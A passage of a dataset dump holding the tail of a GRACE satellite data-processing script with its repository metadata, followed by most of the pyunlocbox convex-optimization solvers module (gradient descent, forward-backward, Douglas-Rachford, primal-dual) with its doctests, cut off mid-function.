\"\"\"\n    )\n    #-- working data directory\n    parser.add_argument('--directory','-D',\n        type=lambda p: os.path.abspath(os.path.expanduser(p)),\n        default=os.getcwd(),\n        help='Working data directory')\n    #-- GRACE/GRACE-FO data processing center\n    parser.add_argument('--center','-c',\n        metavar='PROC', type=str, nargs='+',\n        default=['CSR','GFZ','JPL'],\n        choices=['CSR','GFZ','JPL', 'CNES','GRAZ','SWARM', 'COSTG'],\n        help='GRACE/GRACE-FO Processing Center')\n    #-- GRACE/GRACE-FO data release\n    parser.add_argument('--release','-r',\n        metavar='DREL', type=str, nargs='+',\n        default=['RL06'],\n        help='GRACE/GRACE-FO Data Release')\n    #-- GRACE/GRACE-FO data product\n    parser.add_argument('--product','-p',\n        metavar='DSET', type=str.upper, nargs='+',\n        default=['GAC','GAD','GSM'],\n        choices=['GAA','GAB','GAC','GAD','GSM'],\n        help='GRACE/GRACE-FO Level-2 data product')\n    #-- output GRACE/GRACE-FO ascii date file\n    parser.add_argument('--output','-O',\n        default=False, action='store_true',\n        help='Overwrite existing data')\n    #-- permissions mode of the local directories and files (number in octal)\n    parser.add_argument('--mode','-M',\n        type=lambda x: int(x,base=8), default=0o775,\n        help='permissions mode of output files')\n    args,_ = parser.parse_known_args()\n\n    #-- run GRACE/GRACE-FO date program\n    for pr in args.center:\n        for rl in args.release:\n            for ds in args.product:\n                grace_date(args.directory, PROC=pr, DREL=rl, DSET=ds,\n                    OUTPUT=args.output, MODE=args.mode)\n\n#-- run main program\nif __name__ == '__main__':\n    main()\n", "meta": {"hexsha": "ff5beaf949c880a3a378a79356ece966d4f309b3", "size": 15094, "ext": "py", "lang": "Python", "max_stars_repo_path": "gravity_toolkit/grace_date.py", "max_stars_repo_name": "hulecom/read-GRACE-harmonics", "max_stars_repo_head_hexsha": "7e7cd756cc1875b4f85bfd516b7df5b44eec7684", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "gravity_toolkit/grace_date.py", "max_issues_repo_name": "hulecom/read-GRACE-harmonics", "max_issues_repo_head_hexsha": "7e7cd756cc1875b4f85bfd516b7df5b44eec7684", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "gravity_toolkit/grace_date.py", "max_forks_repo_name": "hulecom/read-GRACE-harmonics", "max_forks_repo_head_hexsha": "7e7cd756cc1875b4f85bfd516b7df5b44eec7684", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 45.4638554217, "max_line_length": 106, "alphanum_fraction": 0.6489996025, "include": true, "reason": "import numpy", "num_tokens": 4077, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4571367168274948, "lm_q2_score": 0.10970576369015277, "lm_q1q2_score": 0.05015053263036943}}
{"text": "# -*- coding: utf-8 -*-\n\nr\"\"\"\nThe :mod:`pyunlocbox.solvers` module implements a solving function (which will\nminimize your objective function) as well as common solvers.\n\nSolving\n-------\n\nCall :func:`solve` to solve your convex optimization problem using your\ninstantiated solver and functions objects.\n\nInterface\n---------\n\nThe :class:`solver` base class defines a common interface to all solvers:\n\n.. autosummary::\n\n    solver.pre\n    solver.algo\n    solver.post\n\nSolvers\n-------\n\nThen, derived classes implement various common solvers.\n\n.. autosummary::\n\n    gradient_descent\n    forward_backward\n    douglas_rachford\n    generalized_forward_backward\n\n**Primal-dual solvers** (based on :class:`primal_dual`)\n\n.. autosummary::\n\n    mlfbf\n    projection_based\n\n.. inheritance-diagram:: pyunlocbox.solvers\n    :parts: 2\n\n\"\"\"\n\nimport time\n\nimport numpy as np\n\nfrom pyunlocbox.functions import dummy, _prox_star\nfrom pyunlocbox import acceleration\n\n\ndef solve(functions, x0, solver=None, atol=None, dtol=None, rtol=1e-3,\n          xtol=None, maxit=200, verbosity='LOW', inplace=False):\n    r\"\"\"\n    Solve an optimization problem whose objective function is the sum of some\n    convex functions.\n\n    This function minimizes the objective function :math:`f(x) =\n    \\sum\\limits_{k=0}^{k=K} f_k(x)`, i.e. solves\n    :math:`\\operatorname{arg\\,min}\\limits_x f(x)` for :math:`x \\in\n    \\mathbb{R}^{n \\times N}` where :math:`n` is the dimensionality of the data\n    and :math:`N` the number of independent problems. It returns a dictionary\n    with the found solution and some informations about the algorithm\n    execution.\n\n    Parameters\n    ----------\n    functions : list of objects\n        A list of convex functions to minimize. These are objects who must\n        implement the :meth:`pyunlocbox.functions.func.eval` method. The\n        :meth:`pyunlocbox.functions.func.grad` and / or\n        :meth:`pyunlocbox.functions.func.prox` methods are required by some\n        solvers. Note also that some solvers can only handle two convex\n        functions while others may handle more. Please refer to the\n        documentation of the considered solver.\n    x0 : array_like\n        Starting point of the algorithm, :math:`x_0 \\in \\mathbb{R}^{n \\times\n        N}`.\n    solver : solver class instance, optional\n        The solver algorithm. It is an object who must inherit from\n        :class:`pyunlocbox.solvers.solver` and implement the :meth:`_pre`,\n        :meth:`_algo` and :meth:`_post` methods. If no solver object are\n        provided, a standard one will be chosen given the number of convex\n        function objects and their implemented methods.\n    atol : float, optional\n        The absolute tolerance stopping criterion. The algorithm stops when\n        :math:`f(x^t) < atol` where :math:`f(x^t)` is the objective function at\n        iteration :math:`t`. Default is None.\n    dtol : float, optional\n        Stop when the objective function is stable enough, i.e. when\n        :math:`\\left|f(x^t) - f(x^{t-1})\\right| < dtol`. Default is None.\n    rtol : float, optional\n        The relative tolerance stopping criterion. The algorithm stops when\n        :math:`\\left|\\frac{ f(x^t) - f(x^{t-1}) }{ f(x^t) }\\right| < rtol`.\n        Default is :math:`10^{-3}`.\n    xtol : float, optional\n        Stop when the variable is stable enough, i.e. when :math:`\\frac{\\|x^t -\n        x^{t-1}\\|_2}{\\sqrt{n N}} < xtol`. Note that additional memory will be\n        used to store :math:`x^{t-1}`. Default is None.\n    maxit : int, optional\n        The maximum number of iterations. Default is 200.\n    verbosity : {'NONE', 'LOW', 'HIGH', 'ALL'}, optional\n        The log level : ``'NONE'`` for no log, ``'LOW'`` for resume at\n        convergence, ``'HIGH'`` for info at all solving steps, ``'ALL'`` for\n        all possible outputs, including at each steps of the proximal operators\n        computation. Default is ``'LOW'``.\n    inplace : bool, optional\n        If True and x0 is a numpy array, then x0 will be modified in place\n        during execution to save memory. It will then contain the solution. Be\n        careful to pass data of the type (int, float32, float64) you want your\n        computations to use.\n\n    Returns\n    -------\n    sol : ndarray\n        The problem solution.\n    solver : str\n        The used solver.\n    crit : {'ATOL', 'DTOL', 'RTOL', 'XTOL', 'MAXIT'}\n        The used stopping criterion. See above for definitions.\n    niter : int\n        The number of iterations.\n    time : float\n        The execution time in seconds.\n    objective : ndarray\n        The successive evaluations of the objective function at each iteration.\n\n    Examples\n    --------\n    >>> import numpy as np\n    >>> from pyunlocbox import functions, solvers\n\n    Define a problem:\n\n    >>> y = [4, 5, 6, 7]\n    >>> f = functions.norm_l2(y=y)\n\n    Solve it:\n\n    >>> x0 = np.zeros(len(y))\n    >>> ret = solvers.solve([f], x0, atol=1e-2, verbosity='ALL')\n    INFO: Dummy objective function added.\n    INFO: Selected solver: forward_backward\n    INFO: Forward-backward method\n        dummy evaluation: 0.000000e+00\n        norm_l2 evaluation: 1.260000e+02\n    Iteration 1 of forward_backward:\n        dummy evaluation: 0.000000e+00\n        norm_l2 evaluation: 1.400000e+01\n        objective = 1.40e+01\n    Iteration 2 of forward_backward:\n        dummy evaluation: 0.000000e+00\n        norm_l2 evaluation: 2.963739e-01\n        objective = 2.96e-01\n    Iteration 3 of forward_backward:\n        dummy evaluation: 0.000000e+00\n        norm_l2 evaluation: 7.902529e-02\n        objective = 7.90e-02\n    Iteration 4 of forward_backward:\n        dummy evaluation: 0.000000e+00\n        norm_l2 evaluation: 5.752265e-02\n        objective = 5.75e-02\n    Iteration 5 of forward_backward:\n        dummy evaluation: 0.000000e+00\n        norm_l2 evaluation: 5.142032e-03\n        objective = 5.14e-03\n    Solution found after 5 iterations:\n        objective function f(sol) = 5.142032e-03\n        stopping criterion: ATOL\n\n    Verify the stopping criterion (should be smaller than atol=1e-2):\n\n    >>> np.linalg.norm(ret['sol'] - y)**2  # doctest:+ELLIPSIS\n    0.00514203...\n\n    Show the solution (should be close to y w.r.t. the L2-norm measure):\n\n    >>> ret['sol']\n    array([4.02555301, 5.03194126, 6.03832952, 7.04471777])\n\n    Show the used solver:\n\n    >>> ret['solver']\n    'forward_backward'\n\n    Show some information about the convergence:\n\n    >>> ret['crit']\n    'ATOL'\n    >>> ret['niter']\n    5\n    >>> ret['time']  # doctest:+SKIP\n    0.0012578964233398438\n    >>> ret['objective']  # doctest:+NORMALIZE_WHITESPACE,+ELLIPSIS\n    [[126.0, 0], [13.99999999..., 0], [0.29637392..., 0], [0.07902528..., 0],\n    [0.05752265..., 0], [0.00514203..., 0]]\n\n    \"\"\"\n    # to prevent any modification of the input\n    if not(inplace):\n        x0 = x0.copy()\n\n    if verbosity not in ['NONE', 'LOW', 'HIGH', 'ALL']:\n        raise ValueError('Verbosity should be either NONE, LOW, HIGH or ALL.')\n\n    # Add a second dummy convex function if only one function is provided.\n    if len(functions) < 1:\n        raise ValueError('At least 1 convex function should be provided.')\n    elif len(functions) == 1:\n        functions.append(dummy())\n        if verbosity in ['LOW', 'HIGH', 'ALL']:\n            print('INFO: Dummy objective function added.')\n\n    # Choose a solver if none provided.\n    if not solver:\n        if len(functions) == 2:\n            fb0 = 'GRAD' in functions[0].cap(x0) and \\\n                  'PROX' in functions[1].cap(x0)\n            fb1 = 'GRAD' in functions[1].cap(x0) and \\\n                  'PROX' in functions[0].cap(x0)\n            dg0 = 'PROX' in functions[0].cap(x0) and \\\n                  'PROX' in functions[1].cap(x0)\n            if fb0 or fb1:\n                solver = forward_backward()  # Need one prox and 1 grad.\n            elif dg0:\n                solver = douglas_rachford()  # Need two prox.\n            else:\n                raise ValueError('No suitable solver for the given functions.')\n        elif len(functions) > 2:\n            solver = generalized_forward_backward()\n        if verbosity in ['LOW', 'HIGH', 'ALL']:\n            name = solver.__class__.__name__\n            print('INFO: Selected solver: {}'.format(name))\n\n    # Set solver and functions verbosity.\n    translation = {'ALL': 'HIGH', 'HIGH': 'HIGH', 'LOW': 'LOW', 'NONE': 'NONE'}\n    solver.verbosity = translation[verbosity]\n    translation = {'ALL': 'HIGH', 'HIGH': 'LOW', 'LOW': 'NONE', 'NONE': 'NONE'}\n    functions_verbosity = []\n    for f in functions:\n        functions_verbosity.append(f.verbosity)\n        f.verbosity = translation[verbosity]\n\n    tstart = time.time()\n    crit = None\n    niter = 0\n    rtol_only_zeros = True\n\n    # Solver specific initialization.\n    solver.pre(functions, x0)\n\n    # Evaluate the objective function at the begining\n    objective = [solver.objective(x0)]\n\n    while not crit:\n\n        niter += 1\n\n        if xtol is not None:\n            last_sol = np.array(solver.sol, copy=True)\n\n        if verbosity in ['HIGH', 'ALL']:\n            name = solver.__class__.__name__\n            print('Iteration {} of {}:'.format(niter, name))\n\n        # Solver iterative algorithm.\n        solver.algo(objective, niter)\n\n        objective.append(solver.objective(solver.sol))\n        current = np.sum(objective[-1])\n        last = np.sum(objective[-2])\n\n        # Verify stopping criteria.\n        if atol is not None and current < atol:\n            crit = 'ATOL'\n        if dtol is not None and np.abs(current - last) < dtol:\n            crit = 'DTOL'\n        if rtol is not None:\n            div = current  # Prevent division by 0.\n            if div == 0:\n                if verbosity in ['LOW', 'HIGH', 'ALL']:\n                    print('WARNING: (rtol) objective function is equal to 0 !')\n                if last != 0:\n                    div = last\n                else:\n                    div = 1.0  # Result will be zero anyway.\n            else:\n                rtol_only_zeros = False\n            relative = np.abs((current - last) / div)\n            if relative < rtol and not rtol_only_zeros:\n                crit = 'RTOL'\n        if xtol is not None:\n            err = np.linalg.norm(solver.sol - last_sol)\n            err /= np.sqrt(last_sol.size)\n            if err < xtol:\n                crit = 'XTOL'\n        if maxit is not None and niter >= maxit:\n            crit = 'MAXIT'\n\n        if verbosity in ['HIGH', 'ALL']:\n            print('    objective = {:.2e}'.format(current))\n\n    # Restore verbosity for functions. In case they are called outside solve().\n    for k, f in enumerate(functions):\n        f.verbosity = functions_verbosity[k]\n\n    if verbosity in ['LOW', 'HIGH', 'ALL']:\n        print('Solution found after {} iterations:'.format(niter))\n        print('    objective function f(sol) = {:e}'.format(current))\n        print('    stopping criterion: {}'.format(crit))\n\n    # Returned dictionary.\n    result = {'sol':       solver.sol,\n              'solver':    solver.__class__.__name__,  # algo for consistency ?\n              'crit':      crit,\n              'niter':     niter,\n              'time':      time.time() - tstart,\n              'objective': objective}\n    try:\n        # Update dictionary for primal-dual solvers\n        result['dual_sol'] = solver.dual_sol\n    except AttributeError:\n        pass\n\n    # Solver specific post-processing (e.g. delete references).\n    solver.post()\n\n    return result\n\n\nclass solver(object):\n    r\"\"\"\n    Defines the solver object interface.\n\n    This class defines the interface of a solver object intended to be passed\n    to the :func:`pyunlocbox.solvers.solve` solving function. It is intended to\n    be a base class for standard solvers which will implement the required\n    methods. It can also be instantiated by user code and dynamically modified\n    for rapid testing. This class also defines the generic attributes of all\n    solver objects.\n\n    Parameters\n    ----------\n    step : float\n        The gradient-descent step-size. This parameter is bounded by 0 and\n        :math:`\\frac{2}{\\beta}` where :math:`\\beta` is the Lipschitz constant\n        of the gradient of the smooth function (or a sum of smooth functions).\n        Default is 1.\n    accel : pyunlocbox.acceleration.accel\n        User-defined object used to adaptively change the current step size\n        and solution while the algorithm is running. Default is a dummy\n        object that returns unchanged values.\n\n    \"\"\"\n\n    def __init__(self, step=1., accel=None):\n        if step < 0:\n            raise ValueError('Step should be a positive number.')\n        self.step = step\n        self.accel = acceleration.dummy() if accel is None else accel\n\n    def pre(self, functions, x0):\n        \"\"\"\n        Solver-specific pre-processing. See parameters documentation in\n        :func:`pyunlocbox.solvers.solve` documentation.\n\n        Notes\n        -----\n        When preprocessing the functions, the solver should split them into\n        two lists:\n        * `self.smooth_funs`, for functions involved in gradient steps.\n        * `self.non_smooth_funs`, for functions involved proximal steps.\n        This way, any method that takes in the solver as argument, such as the\n        methods in :class:`pyunlocbox.acceleration.accel`, can have some\n        context as to how the solver is using the functions.\n\n        \"\"\"\n        self.sol = np.asarray(x0)\n        self.smooth_funs = []\n        self.non_smooth_funs = []\n        self._pre(functions, self.sol)\n        self.accel.pre(functions, self.sol)\n\n    def _pre(self, functions, x0):\n        raise NotImplementedError(\"Class user should define this method.\")\n\n    def algo(self, objective, niter):\n        \"\"\"\n        Call the solver iterative algorithm and the provided acceleration\n        scheme. See parameters documentation in\n        :func:`pyunlocbox.solvers.solve`\n\n        Notes\n        -----\n        The method :meth:`self.accel.update_sol` is called before\n        :meth:`self._algo` because the acceleration schemes usually involves\n        some sort of averaging of previous solutions, which can add some\n        unwanted artifacts on the output solution. With this ordering, we\n        guarantee that the output of solver.algo is not corrupted by the\n        acceleration scheme.\n\n        Similarly, the method :meth:`self.accel.update_step` is called after\n        :meth:`self._algo` to allow the step update procedure to act directly\n        on the solution output by the underlying algorithm, and not on the\n        intermediate solution output by the acceleration scheme in\n        :meth:`self.accel.update_sol`.\n\n        \"\"\"\n        self.sol[:] = self.accel.update_sol(self, objective, niter)\n        self.step = self.accel.update_step(self, objective, niter)\n        self._algo()\n\n    def _algo(self):\n        raise NotImplementedError(\"Class user should define this method.\")\n\n    def post(self):\n        \"\"\"\n        Solver-specific post-processing. Mainly used to delete references added\n        during initialization so that the garbage collector can free the\n        memory. See parameters documentation in\n        :func:`pyunlocbox.solvers.solve`.\n\n        \"\"\"\n        self._post()\n        self.accel.post()\n        del self.sol, self.smooth_funs, self.non_smooth_funs\n\n    def _post(self):\n        raise NotImplementedError(\"Class user should define this method.\")\n\n    def objective(self, x):\n        \"\"\"\n        Return the objective function at x.\n\n        Necessitate `solver._pre(...)` to be run first.\n        \"\"\"\n        return self._objective(x)\n\n    def _objective(self, x):\n        obj_smooth = [f.eval(x) for f in self.smooth_funs]\n        obj_nonsmooth = [f.eval(x) for f in self.non_smooth_funs]\n        return obj_nonsmooth + obj_smooth\n\n\nclass gradient_descent(solver):\n    r\"\"\"\n    Gradient descent algorithm.\n\n    This algorithm solves optimization problems composed of the sum of\n    any number of smooth functions.\n\n    See generic attributes descriptions of the\n    :class:`pyunlocbox.solvers.solver` base class.\n\n    Notes\n    -----\n    This algorithm requires each function implement the\n    :meth:`pyunlocbox.functions.func.grad` method.\n\n    See :class:`pyunlocbox.acceleration.regularized_nonlinear` for a very\n    efficient acceleration scheme for this method.\n\n    Examples\n    --------\n    >>> import numpy as np\n    >>> from pyunlocbox import functions, solvers\n    >>> dim = 25\n    >>> np.random.seed(0)\n    >>> xstar = np.random.rand(dim)  # True solution\n    >>> x0 = np.random.rand(dim)\n    >>> x0 = xstar + 5*(x0 - xstar) / np.linalg.norm(x0 - xstar)\n    >>> A = np.random.rand(dim, dim)\n    >>> step = 1 / np.linalg.norm(np.dot(A.T, A))\n    >>> f = functions.norm_l2(lambda_=0.5, A=A, y=np.dot(A, xstar))\n    >>> fd = functions.dummy()\n    >>> solver = solvers.gradient_descent(step=step)\n    >>> params = {'rtol':0, 'maxit':14000, 'verbosity':'NONE'}\n    >>> ret = solvers.solve([f, fd], x0, solver, **params)\n    >>> pctdiff = 100 * np.sum((xstar - ret['sol'])**2) / np.sum(xstar**2)\n    >>> print('Difference: {0:.1f}%'.format(pctdiff))\n    Difference: 1.3%\n\n    \"\"\"\n\n    def __init__(self, **kwargs):\n        super(gradient_descent, self).__init__(**kwargs)\n\n    def _pre(self, functions, x0):\n\n        for f in functions:\n            if 'GRAD' in f.cap(x0):\n                self.smooth_funs.append(f)\n            else:\n                raise ValueError('Gradient descent requires each function to '\n                                 'implement grad().')\n\n        if self.verbosity == 'HIGH':\n            print('INFO: Gradient descent minimizing {} smooth '\n                  'functions.'.format(len(self.smooth_funs)))\n\n    def _algo(self):\n        grad = np.zeros_like(self.sol)\n        for f in self.smooth_funs:\n            grad += f.grad(self.sol)\n        self.sol[:] -= self.step * grad\n\n    def _post(self):\n        pass\n\n\nclass forward_backward(solver):\n    r\"\"\"\n    Forward-backward proximal splitting (FISTA and ISTA) algorithm.\n\n    This algorithm solves convex optimization problems composed of the sum of\n    a smooth and a non-smooth function.\n\n    See generic attributes descriptions of the\n    :class:`pyunlocbox.solvers.solver` base class.\n\n    Parameters\n    ----------\n    accel : :class:`pyunlocbox.acceleration.accel`\n        Acceleration scheme to use.\n        Default is :meth:`pyunlocbox.acceleration.fista`, which corresponds\n        to the 'FISTA' solver. Passing :meth:`pyunlocbox.acceleration.dummy`\n        instead results in the ISTA solver. Note that while FISTA is much more\n        time-efficient, it is less memory-efficient.\n\n    Notes\n    -----\n    This algorithm requires one function to implement the\n    :meth:`pyunlocbox.functions.func.prox` method and the other one to\n    implement the :meth:`pyunlocbox.functions.func.grad` method.\n\n    See :cite:`beck2009FISTA` for details about the algorithm.\n\n    Examples\n    --------\n    >>> import numpy as np\n    >>> from pyunlocbox import functions, solvers\n    >>> y = [4, 5, 6, 7]\n    >>> x0 = np.zeros(len(y))\n    >>> f1 = functions.norm_l2(y=y)\n    >>> f2 = functions.dummy()\n    >>> solver = solvers.forward_backward(step=0.5)\n    >>> ret = solvers.solve([f1, f2], x0, solver, atol=1e-5)\n    Solution found after 15 iterations:\n        objective function f(sol) = 4.957288e-07\n        stopping criterion: ATOL\n    >>> ret['sol']\n    array([4.0002509 , 5.00031362, 6.00037635, 7.00043907])\n\n    \"\"\"\n\n    def __init__(self, accel=acceleration.fista(), **kwargs):\n        super(forward_backward, self).__init__(accel=accel, **kwargs)\n\n    def _pre(self, functions, x0):\n\n        if self.verbosity == 'HIGH':\n            print('INFO: Forward-backward method')\n\n        if len(functions) != 2:\n            raise ValueError('Forward-backward requires two convex functions.')\n\n        if 'PROX' in functions[0].cap(x0) and 'GRAD' in functions[1].cap(x0):\n            self.smooth_funs.append(functions[1])\n            self.non_smooth_funs.append(functions[0])\n        elif 'PROX' in functions[1].cap(x0) and 'GRAD' in functions[0].cap(x0):\n            self.smooth_funs.append(functions[0])\n            self.non_smooth_funs.append(functions[1])\n        else:\n            raise ValueError('Forward-backward requires a function to '\n                             'implement prox() and the other grad().')\n\n    def _algo(self):\n        # Forward step\n        x = self.sol - self.step * self.smooth_funs[0].grad(self.sol)\n        # Backward step\n        self.sol[:] = self.non_smooth_funs[0].prox(x, self.step)\n\n    def _post(self):\n        pass\n\n\nclass generalized_forward_backward(solver):\n    r\"\"\"\n    Generalized forward-backward proximal splitting algorithm.\n\n    This algorithm solves convex optimization problems composed of the sum of\n    any number of non-smooth (or smooth) functions.\n\n    See generic attributes descriptions of the\n    :class:`pyunlocbox.solvers.solver` base class.\n\n    Parameters\n    ----------\n    lambda_ : float, optional\n        A relaxation parameter bounded by 0 and 1. Default is 1.\n\n    Notes\n    -----\n    This algorithm requires each function to either implement the\n    :meth:`pyunlocbox.functions.func.prox` method or the\n    :meth:`pyunlocbox.functions.func.grad` method.\n\n    See :cite:`raguet2013generalizedFB` for details about the algorithm.\n\n    Examples\n    --------\n    >>> import numpy as np\n    >>> from pyunlocbox import functions, solvers\n    >>> y = [0.01, 0.2, 8, 0.3, 0 , 0.03, 7]\n    >>> x0 = np.zeros(len(y))\n    >>> f1 = functions.norm_l2(y=y)\n    >>> f2 = functions.norm_l1()\n    >>> solver = solvers.generalized_forward_backward(lambda_=1, step=0.5)\n    >>> ret = solvers.solve([f1, f2], x0, solver)\n    Solution found after 2 iterations:\n        objective function f(sol) = 1.463100e+01\n        stopping criterion: RTOL\n    >>> ret['sol']\n    array([0. , 0. , 7.5, 0. , 0. , 0. , 6.5])\n\n    \"\"\"\n\n    def __init__(self, lambda_=1, *args, **kwargs):\n        super(generalized_forward_backward, self).__init__(*args, **kwargs)\n        self.lambda_ = lambda_\n\n    def _pre(self, functions, x0):\n\n        if self.lambda_ <= 0 or self.lambda_ > 1:\n            raise ValueError('Lambda is bounded by 0 and 1.')\n\n        self.z = []\n        for f in functions:\n            if 'GRAD' in f.cap(x0):\n                self.smooth_funs.append(f)\n            elif 'PROX' in f.cap(x0):\n                self.non_smooth_funs.append(f)\n                self.z.append(np.array(x0, copy=True))\n            else:\n                raise ValueError('Generalized forward-backward requires each '\n                                 'function to implement prox() or grad().')\n\n        if self.verbosity == 'HIGH':\n            print('INFO: Generalized forward-backward minimizing {} smooth '\n                  'functions and {} non-smooth functions.'.format(\n                      len(self.smooth_funs), len(self.non_smooth_funs)))\n\n    def _algo(self):\n\n        # Smooth functions.\n        grad = np.zeros_like(self.sol)\n        for f in self.smooth_funs:\n            grad += f.grad(self.sol)\n\n        # Non-smooth functions.\n        if not self.non_smooth_funs:\n            self.sol[:] -= self.step * grad  # Reduces to gradient descent.\n        else:\n            sol = np.zeros_like(self.sol)\n            for i, g in enumerate(self.non_smooth_funs):\n                tmp = 2 * self.sol - self.z[i] - self.step * grad\n                tmp[:] = g.prox(tmp, self.step * len(self.non_smooth_funs))\n                self.z[i] += self.lambda_ * (tmp - self.sol)\n                sol += 1. * self.z[i] / len(self.non_smooth_funs)\n            self.sol[:] = sol\n\n    def _post(self):\n        del self.z\n\n\nclass douglas_rachford(solver):\n    r\"\"\"\n    Douglas-Rachford proximal splitting algorithm.\n\n    This algorithm solves convex optimization problems composed of the sum of\n    two non-smooth (or smooth) functions.\n\n    See generic attributes descriptions of the\n    :class:`pyunlocbox.solvers.solver` base class.\n\n    Parameters\n    ----------\n    lambda_ : float, optional\n        The update term weight. It should be between 0 and 1. Default is 1.\n\n    Notes\n    -----\n    This algorithm requires the two functions to implement the\n    :meth:`pyunlocbox.functions.func.prox` method.\n\n    See :cite:`combettes2007DR` for details about the algorithm.\n\n    Examples\n    --------\n    >>> import numpy as np\n    >>> from pyunlocbox import functions, solvers\n    >>> y = [4, 5, 6, 7]\n    >>> x0 = np.zeros(len(y))\n    >>> f1 = functions.norm_l2(y=y)\n    >>> f2 = functions.dummy()\n    >>> solver = solvers.douglas_rachford(lambda_=1, step=1)\n    >>> ret = solvers.solve([f1, f2], x0, solver, atol=1e-5)\n    Solution found after 8 iterations:\n        objective function f(sol) = 2.927052e-06\n        stopping criterion: ATOL\n    >>> ret['sol']\n    array([3.99939034, 4.99923792, 5.99908551, 6.99893309])\n\n    \"\"\"\n\n    def __init__(self, lambda_=1, *args, **kwargs):\n        super(douglas_rachford, self).__init__(*args, **kwargs)\n        self.lambda_ = lambda_\n\n    def _pre(self, functions, x0):\n\n        if self.lambda_ <= 0 or self.lambda_ > 1:\n            raise ValueError('Lambda is bounded by 0 and 1.')\n\n        if len(functions) != 2:\n            raise ValueError('Douglas-Rachford requires two convex functions.')\n\n        for f in functions:\n            if 'PROX' in f.cap(x0):\n                self.non_smooth_funs.append(f)\n            else:\n                raise ValueError('Douglas-Rachford requires each '\n                                 'function to implement prox().')\n\n        self.z = np.array(x0, copy=True)\n\n    def _algo(self):\n        tmp = self.non_smooth_funs[0].prox(2 * self.sol - self.z, self.step)\n        self.z[:] = self.z + self.lambda_ * (tmp - self.sol)\n        self.sol[:] = self.non_smooth_funs[1].prox(self.z, self.step)\n\n    def _post(self):\n        del self.z\n\n\nclass primal_dual(solver):\n    r\"\"\"\n    Parent class of all primal-dual algorithms.\n\n    See generic attributes descriptions of the\n    :class:`pyunlocbox.solvers.solver` base class.\n\n    Parameters\n    ----------\n    L : function or ndarray, optional\n        The transformation L that maps from the primal variable space to the\n        dual variable space. Default is the identity, :math:`L(x)=x`. If `L` is\n        an ``ndarray``, it will be converted to the operator form.\n    Lt : function or ndarray, optional\n        The adjoint operator. If `Lt` is an ``ndarray``, it will be converted\n        to the operator form. If `L` is an ``ndarray``, default is the\n        transpose of `L`. If `L` is a function, default is `L`,\n        :math:`Lt(x)=L(x)`.\n    d0: ndarray, optional\n        Initialization of the dual variable.\n\n    \"\"\"\n\n    def __init__(self, L=None, Lt=None, d0=None, *args, **kwargs):\n        super(primal_dual, self).__init__(*args, **kwargs)\n\n        if L is None:\n            self.L = lambda x: x\n        else:\n            if callable(L):\n                self.L = L\n            else:\n                # Transform matrix form to operator form.\n                self.L = lambda x: L.dot(x)\n\n        if Lt is None:\n            if L is None:\n                self.Lt = lambda x: x\n            elif callable(L):\n                self.Lt = L\n            else:\n                self.Lt = lambda x: L.T.dot(x)\n        else:\n            if callable(Lt):\n                self.Lt = Lt\n            else:\n                self.Lt = lambda x: Lt.dot(x)\n\n        self.d0 = d0\n\n    def _pre(self, functions, x0):\n        # Dual variable.\n        if self.d0 is None:\n            # The copy is necessary in case `L = lambda x: x`.\n            self.dual_sol = self.L(np.asarray(x0).copy())\n        else:\n            self.dual_sol = self.d0\n\n    def _post(self):\n        self.d0 = None\n        del self.dual_sol\n\n    def _objective(self, x):\n        obj_smooth = [f.eval(x) for f in self.smooth_funs]\n        obj_nonsmooth = [self.non_smooth_funs[0].eval(x),\n                         self.non_smooth_funs[1].eval(self.L(x))]\n        return obj_nonsmooth + obj_smooth\n\n\nclass mlfbf(primal_dual):\n    r\"\"\"\n    Monotone+Lipschitz forward-backward-forward primal-dual algorithm.\n\n    This algorithm solves convex optimization problems with objective of the\n    form :math:`f(x) + g(Lx) + h(x)`, where :math:`f` and :math:`g` are proper,\n    convex, lower-semicontinuous functions with easy-to-compute proximity\n    operators, and :math:`h` has Lipschitz-continuous gradient with constant\n    :math:`\\beta`.\n\n    See generic attributes descriptions of the\n    :class:`pyunlocbox.solvers.primal_dual` base class.\n\n    Notes\n    -----\n    The order of the functions matters: set :math:`f` first on the list,\n    :math:`g` second, and :math:`h` third.\n\n    This algorithm requires the first two functions to implement the\n    :meth:`pyunlocbox.functions.func.prox` method, and the third function to\n    implement the :meth:`pyunlocbox.functions.func.grad` method.\n\n    The step-size should be in the interval :math:`\\left] 0, \\frac{1}{\\beta +\n    \\|L\\|_{2}}\\right[`.\n\n    See :cite:`komodakis2015primaldual`, Algorithm 6, for details.\n\n    Examples\n    --------\n    >>> import numpy as np\n    >>> from pyunlocbox import functions, solvers\n    >>> y = np.array([294, 390, 361])\n    >>> L = np.array([[5, 9, 3], [7, 8, 5], [4, 4, 9], [0, 1, 7]])\n    >>> x0 = np.zeros(len(y))\n    >>> f = functions.dummy()\n    >>> f._prox = lambda x, T: np.maximum(np.zeros(len(x)), x)\n    >>> g = functions.norm_l2(lambda_=0.5)\n    >>> h = functions.norm_l2(y=y, lambda_=0.5)\n    >>> max_step = 1/(1 + np.linalg.norm(L, 2))\n    >>> solver = solvers.mlfbf(L=L, step=max_step/2.)\n    >>> ret = solvers.solve([f, g, h], x0, solver, maxit=1000, rtol=0)\n    Solution found after 1000 iterations:\n        objective function f(sol) = 1.839060e+05\n        stopping criterion: MAXIT\n    >>> ret['sol']\n    array([1., 1., 1.])\n\n    \"\"\"\n\n    def _pre(self, functions, x0):\n        super(mlfbf, self)._pre(functions, x0)\n\n        if len(functions) != 3:\n            raise ValueError('MLFBF requires 3 convex functions.')\n\n        self.non_smooth_funs.append(functions[0])   # f\n        self.non_smooth_funs.append(functions[1])   # g\n        self.smooth_funs.append(functions[2])       # h\n\n    def _algo(self):\n        # Forward steps (in both primal and dual spaces)\n        y1 = self.sol - self.step * (self.smooth_funs[0].grad(self.sol) +\n                                     self.Lt(self.dual_sol))\n        y2 = self.dual_sol + self.step * self.L(self.sol)\n\n        # Backward steps (in both primal and dual spaces)\n        p1 = self.non_smooth_funs[0].prox(y1, self.step)\n        p2 = _prox_star(self.non_smooth_funs[1], y2, self.step)\n\n        # Forward steps (in both primal and dual 